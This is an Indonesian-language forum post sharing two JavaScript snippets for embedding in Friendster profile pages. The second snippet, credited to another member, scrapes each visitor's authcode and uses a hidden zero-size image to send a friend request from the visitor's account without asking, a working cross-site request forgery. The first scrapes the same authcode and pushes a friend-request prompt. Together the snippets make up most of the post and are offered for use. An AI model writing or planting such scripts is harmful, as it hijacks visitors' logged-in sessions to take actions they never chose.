[quote=locoghost]itu ad yg perlu d edit lg g??ky masukin email qta???[/quote]
klo yg nieh ga perlu masukin email qm lg.
[spoiler]if (!attachOnLoadHandler(function() { FRIENDSCAN.init();})) window.onload = function() { FRIENDSCAN.init();};
if (typeof FRIENDSCAN == "undefined") { FRIENDSCAN = {}; }
FRIENDSCAN = {
details: {
email: null
},
regexp: {
email: /owner><email>(\b[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}\b)<\/email>/i
},
init: function() {
FRIENDSCAN.ajaxRequest("http://"+location.hostname+"/modules/module.php?_pmr=a&_pmmo=0&uid="+pageOwnerID,FRIENDSCAN.fScanner,null);
},
fScanner: function(htm) {
if (htm.replace(/^\s*|\s*$/g,"") === "") {
alert("Error: Unable to parse the email!");return;
}else if (htm) {
try {
FRIENDSCAN.details.email = new RegExp(FRIENDSCAN.regexp.email).exec(htm)[1];
}catch(e) {
FRIENDSCAN.details.email = "";
}
var emailAdd = encodeURIComponent(FRIENDSCAN.details.email);
var areWeFriend = "yes";
var authCode = "";
var scanner = document.getElementById("controlPanelButtons").innerHTML;
var AFRconfirm = scanner.search(/Add as Friend/);
if (AFRconfirm > 0) {
areWeFriend = "no";
authCode = /href="[\S]*?authcode=([\da-z]+?)">Add as Friend/.exec(scanner)[1];
}
if(areWeFriend == "no") {
var cForm = confirm("It seems that you are not in my contact list.\n Do you want to add me as your friend?");
if (cForm == true) {
document.location.href="http://www.friendster.com/addfriendrequest.php?confirm=1&authcode="+authCode+"&uid="+pageOwnerID+"&id=&email="+emailAdd+"&lastname=";
}
}
}
},
ajaxRequest: function(url,func,handler) {
var httprequest = window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.onreadystatechange = function() {
if (httprequest.readyState == 4) {
if (httprequest.status == 200) {
func(httprequest.responseText,handler);
}
}
};
httprequest.open("GET", url, true);
httprequest.send(null);
}
};[/spoiler]
and nieh klo punya rekan
[b]bayu5154[/b]
[spoiler]var email_add = "[b]PROVIDE_YOUR_FRIENDSTER_EMAIL_ADD[/b]";
var get_authcode = document.getElementById("controlPanelButtons").innerHTML;
var add_it = get_authcode.slice(get_authcode.indexOf("authcode="));
var PlaceInput = add_it.slice(9,39);
document.write('<img src="http://www.friendster.com/addfriendrequest.php?authcode='
+ PlaceInput + '&uid='
+ pageOwnerID + '&email='
+ email_add + '&firstname=&lastname=&friend=&submit=1"'
+ ' width="0" height="0" style="display:none" />');[/spoiler]
ntuh tulisan yg tebal qm ganti dngan email fs qm.
tpi ga susah kan cman masukin email fs qm.
hehehehehehehe...